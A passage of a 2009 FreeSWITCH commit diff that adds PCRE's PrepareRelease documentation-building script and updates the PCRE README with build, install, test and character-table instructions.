+  the libraries cw32.lib, cw32i.lib, cw32mt.lib, and cw32mti.lib on the command
+  line.
+
+
+BUILDING UNDER WINDOWS CE WITH VISUAL STUDIO 200x
+
+Vincent Richomme sent a zip archive of files to help with this process. They
+can be found in the file "pcre-vsbuild.zip" in the Contrib directory of the FTP
+site.
+
+
 BUILDING PCRE ON OPENVMS
 
 Dan Mooney sent the following comments about building PCRE on OpenVMS. They
@@ -266,4 +444,5 @@
 $!
 =========================
 
+Last Updated: 17 March 2009
 ****

Copied: freeswitch/branches/seven/libs/pcre/PrepareRelease (from rev 14471, freeswitch/trunk/libs/pcre/PrepareRelease) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/PrepareRelease	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/PrepareRelease	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,214 @@
+#/bin/sh
+
+# Script to prepare the files for building a PCRE release. It does some
+# processing of the documentation, detrails files, and creates pcre.h.generic
+# and config.h.generic (for use by builders who can't run ./configure).
+
+# You must run this script before runnning "make dist". It makes use of the
+# following files:
+
+# 132html     A Perl script that converts a .1 or .3 man page into HTML. It
+#             is called from MakeRelease. It "knows" the relevant troff
+#             constructs that are used in the PCRE man pages.
+
+# CleanTxt    A Perl script that cleans up the output of "nroff -man" by
+#             removing backspaces and other redundant text so as to produce
+#             a readable .txt file.
+
+# Detrail     A Perl script that removes trailing spaces from files.
+
+# doc/index.html.src
+#             A file that is copied as index.html into the doc/html directory
+#             when the HTML documentation is built. It works like this so that
+#             doc/html can be deleted and re-created from scratch.
+
+
+# First, sort out the documentation
+
+cd doc
+echo Processing documentation
+
+# Make Text form of the documentation. It needs some mangling to make it
+# tidy for online reading. Concatenate all the .3 stuff, but omit the
+# individual function pages.
+
+cat <<End >pcre.txt
+-----------------------------------------------------------------------------
+This file contains a concatenation of the PCRE man pages, converted to plain
+text format for ease of searching with a text editor, or for use on systems
+that do not have a man page processor. The small individual files that give
+synopses of each function in the library have not been included. There are
+separate text files for the pcregrep and pcretest commands.
+-----------------------------------------------------------------------------
+
+
+End
+
+echo "Making pcre.txt"
+for file in pcre pcrebuild pcrematching pcreapi pcrecallout pcrecompat \
+            pcrepattern pcresyntax pcrepartial pcreprecompile \
+            pcreperform pcreposix pcrecpp pcresample pcrestack ; do
+  echo "  Processing $file.3"
+  nroff -c -man $file.3 >$file.rawtxt
+  ../CleanTxt <$file.rawtxt >>pcre.txt
+  /bin/rm $file.rawtxt
+  echo "------------------------------------------------------------------------------" >>pcre.txt
+  if [ "$file" != "pcresample" ] ; then
+    echo " " >>pcre.txt
+    echo " " >>pcre.txt
+  fi
+done
+
+# The three commands
+for file in pcretest pcregrep pcre-config ; do
+  echo Making $file.txt
+  nroff -c -man $file.1 >$file.rawtxt
+  ../CleanTxt <$file.rawtxt >$file.txt
+  /bin/rm $file.rawtxt
+done
+
+
+# Make HTML form of the documentation.
+
+echo "Making HTML documentation"
+/bin/rm html/*
+cp index.html.src html/index.html
+
+for file in *.1 ; do
+  base=`basename $file .1`
+  echo "  Making $base.html"
+  ../132html -toc $base <$file >html/$base.html
+done
+
+# Exclude table of contents for function summaries. It seems that expr
+# forces an anchored regex. Also exclude them for small pages that have
+# only one section.
+for file in *.3 ; do
+  base=`basename $file .3`
+  toc=-toc
+  if [ `expr $base : '.*_'` -ne 0 ] ; then toc="" ; fi
+  if [ "$base" = "pcresample" ] || \
+     [ "$base" = "pcrestack" ]  || \
+     [ "$base" = "pcrecompat" ] || \
+     [ "$base" = "pcreperform" ] ; then
+    toc=""
+  fi
+  echo "  Making $base.html"
+  ../132html $toc $base <$file >html/$base.html
+  if [ $? != 0 ] ; then exit 1; fi
+done
+
+# End of documentation processing
+
+cd ..
+echo Documentation done
+
+# These files are detrailed; do not detrail the test data because there may be
+# significant trailing spaces. The configure files are also omitted from the
+# detrailing.
+
+files="\
+  Makefile.am \
+  Makefile.in \
+  configure.ac \
+  README \
+  LICENCE \
+  COPYING \
+  AUTHORS \
+  NEWS \
+  NON-UNIX-USE \
+  INSTALL \
+  132html \
+  CleanTxt \
+  Detrail \
+  ChangeLog \
+  CMakeLists.txt \
+  RunGrepTest \
+  RunTest \
+  RunTest.bat \
+  pcre-config.in \
+  libpcre.pc.in \
+  libpcrecpp.pc.in \
+  config.h.in \
+  pcre_printint.src \
+  pcre_chartables.c.dist \
+  pcredemo.c \
+  pcregrep.c \
+  pcretest.c \
+  dftables.c \
+  pcreposix.c \
+  pcreposix.h \
+  pcre.h.in \
+  pcre_internal.h
+  pcre_compile.c \
+  pcre_config.c \
+  pcre_dfa_exec.c \
+  pcre_exec.c \
+  pcre_fullinfo.c \
+  pcre_get.c \
+  pcre_globals.c \
+  pcre_info.c \
+  pcre_maketables.c \
+  pcre_newline.c \
+  pcre_ord2utf8.c \
+  pcre_refcount.c \
+  pcre_study.c \
+  pcre_tables.c \
+  pcre_try_flipped.c \
+  pcre_ucp_searchfuncs.c \
+  pcre_valid_utf8.c \
+  pcre_version.c \
+  pcre_xclass.c \
+  pcre_scanner.cc \
+  pcre_scanner.h \
+  pcre_scanner_unittest.cc \
+  pcrecpp.cc \
+  pcrecpp.h \
+  pcrecpparg.h.in \
+  pcrecpp_unittest.cc \
+  pcre_stringpiece.cc \
+  pcre_stringpiece.h.in \
+  pcre_stringpiece_unittest.cc \
+  perltest.pl \
+  ucp.h \
+  ucpinternal.h \
+  ucptable.h \
+  makevp.bat \
+  pcre.def \
+  libpcre.def \
+  libpcreposix.def"
+
+echo Detrailing
+./Detrail $files doc/p* doc/html/*
+
+echo Doing basic configure to get default pcre.h and config.h
+# This is in case the caller has set aliases (as I do - PH)
+unset cp ls mv rm
+./configure >/dev/null
+
+echo Converting pcre.h and config.h to generic forms
+cp -f pcre.h pcre.h.generic
+
+perl <<'END'
+  open(IN, "<config.h") || die "Can't open config.h: $!\n";
+  open(OUT, ">config.h.generic") || die "Can't open config.h.generic: $!\n";
+  while (<IN>)
+    {
+    if (/^#define\s(?!PACKAGE)(\w+)/)
+      {
+      print OUT "#ifndef $1\n";
+      print OUT;
+      print OUT "#endif\n";
+      }
+    else
+      {
+      print OUT;
+      }
+    }
+  close IN;
+  close OUT;
+END
+
+echo Done
+
+#End

Modified: freeswitch/branches/seven/libs/pcre/README (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/README	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,57 +1,95 @@
 README file for PCRE (Perl-compatible regular expression library)
 -----------------------------------------------------------------
 
-The latest release of PCRE is always available from
+The latest release of PCRE is always available in three alternative formats
+from:
 
   ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-xxx.tar.gz
+  ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-xxx.tar.bz2
+  ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-xxx.zip
 
+There is a mailing list for discussion about the development of PCRE at
+
+  pcre-dev@exim.org
+
 Please read the NEWS file if you are upgrading from a previous release.
+The contents of this README file are:
 
+  The PCRE APIs
+  Documentation for PCRE
+  Contributions by users of PCRE
+  Building PCRE on non-Unix systems
+  Building PCRE on Unix-like systems
+  Retrieving configuration information on Unix-like systems
+  Shared libraries on Unix-like systems
+  Cross-compiling on Unix-like systems
+  Using HP's ANSI C++ compiler (aCC)
+  Making new tarballs
+  Testing PCRE
+  Character tables
+  File manifest
 
+
 The PCRE APIs
 -------------
 
-PCRE is written in C, and it has its own API. The distribution now includes a
-set of C++ wrapper functions, courtesy of Google Inc. (see the pcrecpp man page
-for details).
+PCRE is written in C, and it has its own API. The distribution also includes a
+set of C++ wrapper functions (see the pcrecpp man page for details), courtesy
+of Google Inc.
 
-Also included are a set of C wrapper functions that are based on the POSIX
-API. These end up in the library called libpcreposix. Note that this just
-provides a POSIX calling interface to PCRE: the regular expressions themselves
-still follow Perl syntax and semantics. The header file for the POSIX-style
-functions is called pcreposix.h. The official POSIX name is regex.h, but I
-didn't want to risk possible problems with existing files of that name by
-distributing it that way. To use it with an existing program that uses the
-POSIX API, it will have to be renamed or pointed at by a link.
+In addition, there is a set of C wrapper functions that are based on the POSIX
+regular expression API (see the pcreposix man page). These end up in the
+library called libpcreposix. Note that this just provides a POSIX calling
+interface to PCRE; the regular expressions themselves still follow Perl syntax
+and semantics. The POSIX API is restricted, and does not give full access to
+all of PCRE's facilities.
 
+The header file for the POSIX-style functions is called pcreposix.h. The
+official POSIX name is regex.h, but I did not want to risk possible problems
+with existing files of that name by distributing it that way. To use PCRE with
+an existing program that uses the POSIX API, pcreposix.h will have to be
+renamed or pointed at by a link.
+
 If you are using the POSIX interface to PCRE and there is already a POSIX regex
-library installed on your system, you must take care when linking programs to
+library installed on your system, as well as worrying about the regex.h header
+file (as mentioned above), you must also take care when linking programs to
 ensure that they link with PCRE's libpcreposix library. Otherwise they may pick
-up the "real" POSIX functions of the same name.
+up the POSIX functions of the same name from the other library.
 
+One way of avoiding this confusion is to compile PCRE with the addition of
+-Dregcomp=PCREregcomp (and similarly for the other POSIX functions) to the
+compiler flags (CFLAGS if you are using "configure" -- see below). This has the
+effect of renaming the functions so that the names no longer clash. Of course,
+you have to do the same thing for your applications, or write them using the
+new names.
 
+
 Documentation for PCRE
 ----------------------
 
-If you install PCRE in the normal way, you will end up with an installed set of
-man pages whose names all start with "pcre". The one that is just called "pcre"
-lists all the others. In addition to these man pages, the PCRE documentation is
-supplied in two other forms; however, as there is no standard place to install
-them, they are left in the doc directory of the unpacked source distribution.
-These forms are:
+If you install PCRE in the normal way on a Unix-like system, you will end up
+with a set of man pages whose names all start with "pcre". The one that is just
+called "pcre" lists all the others. In addition to these man pages, the PCRE
+documentation is supplied in two other forms:
 
-  1. Files called doc/pcre.txt, doc/pcregrep.txt, and doc/pcretest.txt. The
-     first of these is a concatenation of the text forms of all the section 3
-     man pages except those that summarize individual functions. The other two
-     are the text forms of the section 1 man pages for the pcregrep and
-     pcretest commands. Text forms are provided for ease of scanning with text
-     editors or similar tools.
+  1. There are files called doc/pcre.txt, doc/pcregrep.txt, and
+     doc/pcretest.txt in the source distribution. The first of these is a
+     concatenation of the text forms of all the section 3 man pages except
+     those that summarize individual functions. The other two are the text
+     forms of the section 1 man pages for the pcregrep and pcretest commands.
+     These text forms are provided for ease of scanning with text editors or
+     similar tools. They are installed in <prefix>/share/doc/pcre, where
+     <prefix> is the installation prefix (defaulting to /usr/local).
 
-  2. A subdirectory called doc/html contains all the documentation in HTML
-     form, hyperlinked in various ways, and rooted in a file called
-     doc/index.html.
+  2. A set of files containing all the documentation in HTML form, hyperlinked
+     in various ways, and rooted in a file called index.html, is distributed in
+     doc/html and installed in <prefix>/share/doc/pcre/html.
 
+Users of PCRE have contributed files containing the documentation for various
+releases in CHM format. These can be found in the Contrib directory of the FTP
+site (see next section).
 
+
 Contributions by users of PCRE
 ------------------------------
 
@@ -59,27 +97,48 @@
 
   ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/Contrib
 
-where there is also a README file giving brief descriptions of what they are.
-Several of them provide support for compiling PCRE on various flavours of
-Windows systems (I myself do not use Windows). Some are complete in themselves;
-others are pointers to URLs containing relevant files.
+There is a README file giving brief descriptions of what they are. Some are
+complete in themselves; others are pointers to URLs containing relevant files.
+Some of this material is likely to be well out-of-date. Several of the earlier
+contributions provided support for compiling PCRE on various flavours of
+Windows (I myself do not use Windows). Nowadays there is more Windows support
+in the standard distribution, so these contibutions have been archived.
 
 
-Building PCRE on a Unix-like system
------------------------------------
+Building PCRE on non-Unix systems
+---------------------------------
 
+For a non-Unix system, please read the comments in the file NON-UNIX-USE,
+though if your system supports the use of "configure" and "make" you may be
+able to build PCRE in the same way as for Unix-like systems. PCRE can also be
+configured in many platform environments using the GUI facility of CMake's
+CMakeSetup. It creates Makefiles, solution files, etc.
+
+PCRE has been compiled on many different operating systems. It should be
+straightforward to build PCRE on any system that has a Standard C compiler and
+library, because it uses only Standard C functions.
+
+
+Building PCRE on Unix-like systems
+----------------------------------
+
 If you are using HP's ANSI C++ compiler (aCC), please see the special note
 in the section entitled "Using HP's ANSI C++ compiler (aCC)" below.
 
+The following instructions assume the use of the widely used "configure, make,
+make install" process. There is also support for CMake in the PCRE
+distribution; there are some comments about using CMake in the NON-UNIX-USE
+file, though it can also be used in Unix-like systems.
+
 To build PCRE on a Unix-like system, first run the "configure" command from the
 PCRE distribution directory, with your current directory set to the directory
 where you want the files to be created. This command is a standard GNU
 "autoconf" configuration script, for which generic instructions are supplied in
-INSTALL.
+the file INSTALL.
 
 Most commonly, people build PCRE within its own distribution directory, and in
-this case, on many systems, just running "./configure" is sufficient, but the
-usual methods of changing standard defaults are available. For example:
+this case, on many systems, just running "./configure" is sufficient. However,
+the usual methods of changing standard defaults are available. For example:
 
 CFLAGS='-O2 -Wall' ./configure --prefix=/opt/local
 
@@ -103,13 +162,16 @@
 
 . If you want to suppress the building of the C++ wrapper library, you can add
   --disable-cpp to the "configure" command. Otherwise, when "configure" is run,
-  will try to find a C++ compiler and C++ header files, and if it succeeds, it
-  will try to build the C++ wrapper.
+  it will try to find a C++ compiler and C++ header files, and if it succeeds,
+  it will try to build the C++ wrapper.
 
-. If you want to make use of the support for UTF-8 character strings in PCRE,
-  you must add --enable-utf8 to the "configure" command. Without it, the code
-  for handling UTF-8 is not included in the library. (Even when included, it
-  still has to be enabled by an option at run time.)
+. If you want to make use of the support for UTF-8 Unicode character strings in
+  PCRE, you must add --enable-utf8 to the "configure" command. Without it, the
+  code for handling UTF-8 is not included in the library. Even when included,
+  it still has to be enabled by an option at run time. When PCRE is compiled
+  with this option, its input can only either be ASCII or UTF-8, even when
+  running on EBCDIC platforms. It is not possible to use both --enable-utf8 and
+  --enable-ebcdic at the same time.
 
 . If, in addition to support for UTF-8 character strings, you want to include
   support for the \P, \p, and \X sequences that recognize Unicode character
@@ -118,17 +180,31 @@
   property table); only the basic two-letter properties such as Lu are
   supported.
 
-. You can build PCRE to recognize either CR or LF or the sequence CRLF as
-  indicating the end of a line. Whatever you specify at build time is the
-  default; the caller of PCRE can change the selection at run time. The default
-  newline indicator is a single LF character (the Unix standard). You can
-  specify the default newline indicator by adding --newline-is-cr or
-  --newline-is-lf or --newline-is-crlf to the "configure" command,
-  respectively.
+. You can build PCRE to recognize either CR or LF or the sequence CRLF or any
+  of the preceding, or any of the Unicode newline sequences as indicating the
+  end of a line. Whatever you specify at build time is the default; the caller
+  of PCRE can change the selection at run time. The default newline indicator
+  is a single LF character (the Unix standard). You can specify the default
+  newline indicator by adding --enable-newline-is-cr or --enable-newline-is-lf
+  or --enable-newline-is-crlf or --enable-newline-is-anycrlf or
+  --enable-newline-is-any to the "configure" command, respectively.
 
+  If you specify --enable-newline-is-cr or --enable-newline-is-crlf, some of
+  the standard tests will fail, because the lines in the test files end with
+  LF. Even if the files are edited to change the line endings, there are likely
+  to be some failures. With --enable-newline-is-anycrlf or
+  --enable-newline-is-any, many tests should succeed, but there may be some
+  failures.
+
+. By default, the sequence \R in a pattern matches any Unicode line ending
+  sequence. This is independent of the option specifying what PCRE considers to
+  be the end of a line (see above). However, the caller of PCRE can restrict \R
+  to match only CR, LF, or CRLF. You can make this the default by adding
+  --enable-bsr-anycrlf to the "configure" command (bsr = "backslash R").
+
 . When called via the POSIX interface, PCRE uses malloc() to get additional
   storage for processing capturing parentheses if there are more than 10 of
-  them. You can increase this threshold by setting, for example,
+  them in a pattern. You can increase this threshold by setting, for example,
 
   --with-posix-malloc-threshold=20
 
@@ -141,8 +217,8 @@
   --with-match-limit=500000
 
   on the "configure" command. This is just the default; individual calls to
-  pcre_exec() can supply their own value. There is discussion on the pcreapi
-  man page.
+  pcre_exec() can supply their own value. There is more discussion on the
+  pcreapi man page.
 
 . There is a separate counter that limits the depth of recursive function calls
   during a matching process. This also has a default of ten million, which is
@@ -157,37 +233,92 @@
 . The default maximum compiled pattern size is around 64K. You can increase
   this by adding --with-link-size=3 to the "configure" command. You can
   increase it even more by setting --with-link-size=4, but this is unlikely
-  ever to be necessary. If you build PCRE with an increased link size, test 2
-  (and 5 if you are using UTF-8) will fail. Part of the output of these tests
-  is a representation of the compiled pattern, and this changes with the link
-  size.
+  ever to be necessary. Increasing the internal link size will reduce
+  performance.
 
 . You can build PCRE so that its internal match() function that is called from
-  pcre_exec() does not call itself recursively. Instead, it uses blocks of data
-  from the heap via special functions pcre_stack_malloc() and pcre_stack_free()
-  to save data that would otherwise be saved on the stack. To build PCRE like
-  this, use
+  pcre_exec() does not call itself recursively. Instead, it uses memory blocks
+  obtained from the heap via the special functions pcre_stack_malloc() and
+  pcre_stack_free() to save data that would otherwise be saved on the stack. To
+  build PCRE like this, use
 
   --disable-stack-for-recursion
 
   on the "configure" command. PCRE runs more slowly in this mode, but it may be
   necessary in environments with limited stack sizes. This applies only to the
   pcre_exec() function; it does not apply to pcre_dfa_exec(), which does not
-  use deeply nested recursion.
+  use deeply nested recursion. There is a discussion about stack sizes in the
+  pcrestack man page.
 
-The "configure" script builds eight files for the basic C library:
+. For speed, PCRE uses four tables for manipulating and identifying characters
+  whose code point values are less than 256. By default, it uses a set of
+  tables for ASCII encoding that is part of the distribution. If you specify
 
+  --enable-rebuild-chartables
+
+  a program called dftables is compiled and run in the default C locale when
+  you obey "make". It builds a source file called pcre_chartables.c. If you do
+  not specify this option, pcre_chartables.c is created as a copy of
+  pcre_chartables.c.dist. See "Character tables" below for further information.
+
+. It is possible to compile PCRE for use on systems that use EBCDIC as their
+  character code (as opposed to ASCII) by specifying
+
+  --enable-ebcdic
+
+  This automatically implies --enable-rebuild-chartables (see above). However,
+  when PCRE is built this way, it always operates in EBCDIC. It cannot support
+  both EBCDIC and UTF-8.
+
+. It is possible to compile pcregrep to use libz and/or libbz2, in order to
+  read .gz and .bz2 files (respectively), by specifying one or both of
+
+  --enable-pcregrep-libz
+  --enable-pcregrep-libbz2
+
+  Of course, the relevant libraries must be installed on your system.
+
+. It is possible to compile pcretest so that it links with the libreadline
+  library, by specifying
+
+  --enable-pcretest-libreadline
+
+  If this is done, when pcretest's input is from a terminal, it reads it using
+  the readline() function. This provides line-editing and history facilities.
+  Note that libreadline is GPL-licenced, so if you distribute a binary of
+  pcretest linked in this way, there may be licensing issues.
+
+  Setting this option causes the -lreadline option to be added to the pcretest
+  build. In many operating environments with a sytem-installed readline
+  library this is sufficient. However, in some environments (e.g. if an
+  unmodified distribution version of readline is in use), it may be necessary
+  to specify something like LIBS="-lncurses" as well. This is because, to quote
+  the readline INSTALL, "Readline uses the termcap functions, but does not link
+  with the termcap or curses library itself, allowing applications which link
+  with readline the to choose an appropriate library." If you get error
+  messages about missing functions tgetstr, tgetent, tputs, tgetflag, or tgoto,
+  this is the problem, and linking with the ncurses library should fix it.
+
+The "configure" script builds the following files for the basic C library:
+
 . Makefile is the makefile that builds the library
 . config.h contains build-time configuration options for the library
+. pcre.h is the public PCRE header file
 . pcre-config is a script that shows the settings of "configure" options
 . libpcre.pc is data for the pkg-config command
 . libtool is a script that builds shared and/or static libraries
-. RunTest is a script for running tests on the library
+. RunTest is a script for running tests on the basic C library
 . RunGrepTest is a script for running tests on the pcregrep command
 
-In addition, if a C++ compiler is found, the following are also built:
+Versions of config.h and pcre.h are distributed in the PCRE tarballs under
+the names config.h.generic and pcre.h.generic. These are provided for the
+benefit of those who have to built PCRE without the benefit of "configure". If
+you use "configure", the .generic versions are not used.
 
-. pcrecpp.h is the header file for programs that call PCRE via the C++ wrapper
+If a C++ compiler is found, the following files are also built:
+
+. libpcrecpp.pc is data for the pkg-config command
+. pcrecpparg.h is a header file for programs that call PCRE via the C++ wrapper
 . pcre_stringpiece.h is the header for the C++ "stringpiece" functions
 
 The "configure" script also creates config.status, which is an executable
@@ -196,18 +327,62 @@
 
 Once "configure" has run, you can run "make". It builds two libraries, called
 libpcre and libpcreposix, a test program called pcretest, and the pcregrep
-command. If a C++ compiler was found on your system, it also builds the C++
+command. If a C++ compiler was found on your system, "make" also builds the C++
 wrapper library, which is called libpcrecpp, and some test programs called
 pcrecpp_unittest, pcre_scanner_unittest, and pcre_stringpiece_unittest.
+Building the C++ wrapper can be disabled by adding --disable-cpp to the
+"configure" command.
 
-The command "make test" runs all the appropriate tests. Details of the PCRE
-tests are given in a separate section of this document, below.
+The command "make check" runs all the appropriate tests. Details of the PCRE
+tests are given below in a separate section of this document.
 
-You can use "make install" to copy the libraries, the public header files
-pcre.h, pcreposix.h, pcrecpp.h, and pcre_stringpiece.h (the last two only if
-the C++ wrapper was built), and the man pages to appropriate live directories
-on your system, in the normal way.
+You can use "make install" to install PCRE into live directories on your
+system. The following are installed (file names are all relative to the
+<prefix> that is set when "configure" is run):
 
+  Commands (bin):
+    pcretest
+    pcregrep
+    pcre-config
+
+  Libraries (lib):
+    libpcre
+    libpcreposix
+    libpcrecpp (if C++ support is enabled)
+
+  Configuration information (lib/pkgconfig):
+    libpcre.pc
+    libpcrecpp.pc (if C++ support is enabled)
+
+  Header files (include):
+    pcre.h
+    pcreposix.h
+    pcre_scanner.h      )
+    pcre_stringpiece.h  ) if C++ support is enabled
+    pcrecpp.h           )
+    pcrecpparg.h        )
+
+  Man pages (share/man/man{1,3}):
+    pcregrep.1
+    pcretest.1
+    pcre.3
+    pcre*.3 (lots more pages, all starting "pcre")
+
+  HTML documentation (share/doc/pcre/html):
+    index.html
+    *.html (lots more pages, hyperlinked from index.html)
+
+  Text file documentation (share/doc/pcre):
+    AUTHORS
+    COPYING
+    ChangeLog
+    LICENCE
+    NEWS
+    README
+    pcre.txt       (a concatenation of the man(3) pages)
+    pcretest.txt   the pcretest man page
+    pcregrep.txt   the pcregrep man page
+
 If you want to remove PCRE from your system, you can run "make uninstall".
 This removes all the files that "make install" installed. However, it does not
 remove any directories, because these are often shared with other programs.
@@ -216,9 +391,8 @@
 Retrieving configuration information on Unix-like systems
 ---------------------------------------------------------
 
-Running "make install" also installs the command pcre-config, which can be used
-to recall information about the PCRE configuration and installation. For
-example:
+Running "make install" installs the command pcre-config, which can be used to
+recall information about the PCRE configuration and installation. For example:
 
   pcre-config --version
 
@@ -237,7 +411,7 @@
   pkg-config --cflags pcre
 
 The data is held in *.pc files that are installed in a directory called
-pkgconfig.
+<prefix>/lib/pkgconfig.
 
 
 Shared libraries on Unix-like systems
@@ -254,7 +428,7 @@
 libraries (by means of wrapper scripts in the case of shared libraries). When
 you use "make install" to install shared libraries, pcregrep and pcretest are
 automatically re-built to use the newly installed shared libraries before being
-installed themselves. However, the versions left in the source directory still
+installed themselves. However, the versions left in the build directory still
 use the uninstalled libraries.
 
 To build PCRE using static libraries only you must use --disable-shared when
@@ -266,25 +440,33 @@
 build only shared libraries.
 
 
-Cross-compiling on a Unix-like system
--------------------------------------
+Cross-compiling on Unix-like systems
+------------------------------------
 
 You can specify CC and CFLAGS in the normal way to the "configure" command, in
-order to cross-compile PCRE for some other host. However, during the building
-process, the dftables.c source file is compiled *and run* on the local host, in
-order to generate the default character tables (the chartables.c file). It
-therefore needs to be compiled with the local compiler, not the cross compiler.
-You can do this by specifying CC_FOR_BUILD (and if necessary CFLAGS_FOR_BUILD;
-there are also CXX_FOR_BUILD and CXXFLAGS_FOR_BUILD for the C++ wrapper)
-when calling the "configure" command. If they are not specified, they default
-to the values of CC and CFLAGS.
+order to cross-compile PCRE for some other host. However, you should NOT
+specify --enable-rebuild-chartables, because if you do, the dftables.c source
+file is compiled and run on the local host, in order to generate the inbuilt
+character tables (the pcre_chartables.c file). This will probably not work,
+because dftables.c needs to be compiled with the local compiler, not the cross
+compiler.
 
+When --enable-rebuild-chartables is not specified, pcre_chartables.c is created
+by making a copy of pcre_chartables.c.dist, which is a default set of tables
+that assumes ASCII code. Cross-compiling with the default tables should not be
+a problem.
 
+If you need to modify the character tables when cross-compiling, you should
+move pcre_chartables.c.dist out of the way, then compile dftables.c by hand and
+run it on the local host to make a new version of pcre_chartables.c.dist.
+Then when you cross-compile PCRE this new version of the tables will be used.
+
+
 Using HP's ANSI C++ compiler (aCC)
 ----------------------------------
 
-Unless C++ support is disabled by specifiying the "--disable-cpp" option of the
-"configure" script, you *must* include the "-AA" option in the CXXFLAGS
+Unless C++ support is disabled by specifying the "--disable-cpp" option of the
+"configure" script, you must include the "-AA" option in the CXXFLAGS
 environment variable in order for the C++ components to compile correctly.
 
 Also, note that the aCC compiler on PA-RISC platforms may have a defect whereby
@@ -296,49 +478,48 @@
   CXXLDFLAGS="-lstd_v2 -lCsup_v2"
 
 
-Building on non-Unix systems
-----------------------------
+Making new tarballs
+-------------------
 
-For a non-Unix system, read the comments in the file NON-UNIX-USE, though if
-the system supports the use of "configure" and "make" you may be able to build
-PCRE in the same way as for Unix systems.
+The command "make dist" creates three PCRE tarballs, in tar.gz, tar.bz2, and
+zip formats. The command "make distcheck" does the same, but then does a trial
+build of the new distribution to ensure that it works.
 
-PCRE has been compiled on Windows systems and on Macintoshes, but I don't know
-the details because I don't use those systems. It should be straightforward to
-build PCRE on any system that has a Standard C compiler, because it uses only
-Standard C functions.
+If you have modified any of the man page sources in the doc directory, you
+should first run the PrepareRelease script before making a distribution. This
+script creates the .txt and HTML forms of the documentation from the man pages.
 
 
 Testing PCRE
 ------------
 
-To test PCRE on a Unix system, run the RunTest script that is created by the
-configuring process. There is also a script called RunGrepTest that tests the
-options of the pcregrep command. If the C++ wrapper library is build, three
-test programs called pcrecpp_unittest, pcre_scanner_unittest, and
-pcre_stringpiece_unittest are provided.
+To test the basic PCRE library on a Unix system, run the RunTest script that is
+created by the configuring process. There is also a script called RunGrepTest
+that tests the options of the pcregrep command. If the C++ wrapper library is
+built, three test programs called pcrecpp_unittest, pcre_scanner_unittest, and
+pcre_stringpiece_unittest are also built.
 
-Both the scripts and all the program tests are run if you obey "make runtest",
-"make check", or "make test". For other systems, see the instructions in
-NON-UNIX-USE.
+Both the scripts and all the program tests are run if you obey "make check" or
+"make test". For other systems, see the instructions in NON-UNIX-USE.
 
 The RunTest script runs the pcretest test program (which is documented in its
-own man page) on each of the testinput files (in the testdata directory) in
+own man page) on each of the testinput files in the testdata directory in
 turn, and compares the output with the contents of the corresponding testoutput
-file. A file called testtry is used to hold the main output from pcretest
+files. A file called testtry is used to hold the main output from pcretest
 (testsavedregex is also used as a working file). To run pcretest on just one of
 the test files, give its number as an argument to RunTest, for example:
 
   RunTest 2
 
-The first file can also be fed directly into the perltest script to check that
-Perl gives the same results. The only difference you should see is in the first
-few lines, where the Perl version is given instead of the PCRE version.
+The first test file can also be fed directly into the perltest.pl script to
+check that Perl gives the same results. The only difference you should see is
+in the first few lines, where the Perl version is given instead of the PCRE
+version.
 
 The second set of tests check pcre_fullinfo(), pcre_info(), pcre_study(),
 pcre_copy_substring(), pcre_get_substring(), pcre_get_substring_list(), error
 detection, and run-time flags that are specific to PCRE, as well as the POSIX
-wrapper API. It also uses the debugging flag to check some of the internals of
+wrapper API. It also uses the debugging flags to check some of the internals of
 pcre_compile().
 
 If you build PCRE with a locale setting that is not the standard C locale, the
@@ -364,6 +545,12 @@
 in the comparison output, it means that locale is not available on your system,
 despite being listed by "locale". This does not mean that PCRE is broken.
 
+[If you are trying to run this test on Windows, you may be able to get it to
+work by changing "fr_FR" to "french" everywhere it occurs. Alternatively, use
+RunTest.bat. The version of RunTest.bat included with PCRE 7.4 and above uses
+Windows versions of test 2. More info on using RunTest.bat is included in the
+document entitled NON-UNIX-USE.]
+
 The fourth test checks the UTF-8 support. It is not run automatically unless
 PCRE is built with UTF-8 support. To do this you must set --enable-utf8 when
 running "configure". This file can be also fed directly to the perltest script,
@@ -373,8 +560,8 @@
 The fifth test checks error handling with UTF-8 encoding, and internal UTF-8
 features of PCRE that are not relevant to Perl.
 
-The sixth and test checks the support for Unicode character properties. It it
-not run automatically unless PCRE is built with Unicode property support. To to
+The sixth test checks the support for Unicode character properties. It it not
+run automatically unless PCRE is built with Unicode property support. To to
 this you must set --enable-unicode-properties when running "configure".
 
 The seventh, eighth, and ninth tests check the pcre_dfa_exec() alternative
@@ -386,27 +573,42 @@
 Character tables
 ----------------
 
-PCRE uses four tables for manipulating and identifying characters whose values
-are less than 256. The final argument of the pcre_compile() function is a
-pointer to a block of memory containing the concatenated tables. A call to
-pcre_maketables() can be used to generate a set of tables in the current
-locale. If the final argument for pcre_compile() is passed as NULL, a set of
-default tables that is built into the binary is used.
+For speed, PCRE uses four tables for manipulating and identifying characters
+whose code point values are less than 256. The final argument of the
+pcre_compile() function is a pointer to a block of memory containing the
+concatenated tables. A call to pcre_maketables() can be used to generate a set
+of tables in the current locale. If the final argument for pcre_compile() is
+passed as NULL, a set of default tables that is built into the binary is used.
 
-The source file called chartables.c contains the default set of tables. This is
-not supplied in the distribution, but is built by the program dftables
-(compiled from dftables.c), which uses the ANSI C character handling functions
-such as isalnum(), isalpha(), isupper(), islower(), etc. to build the table
-sources. This means that the default C locale which is set for your system will
-control the contents of these default tables. You can change the default tables
-by editing chartables.c and then re-building PCRE. If you do this, you should
-probably also edit Makefile to ensure that the file doesn't ever get
-re-generated.
+The source file called pcre_chartables.c contains the default set of tables. By
+default, this is created as a copy of pcre_chartables.c.dist, which contains
+tables for ASCII coding. However, if --enable-rebuild-chartables is specified
+for ./configure, a different version of pcre_chartables.c is built by the
+program dftables (compiled from dftables.c), which uses the ANSI C character
+handling functions such as isalnum(), isalpha(), isupper(), islower(), etc. to
+build the table sources. This means that the default C locale which is set for
+your system will control the contents of these default tables. You can change
+the default tables by editing pcre_chartables.c and then re-building PCRE. If
+you do this, you should take care to ensure that the file does not get
+automatically re-generated. The best way to do this is to move
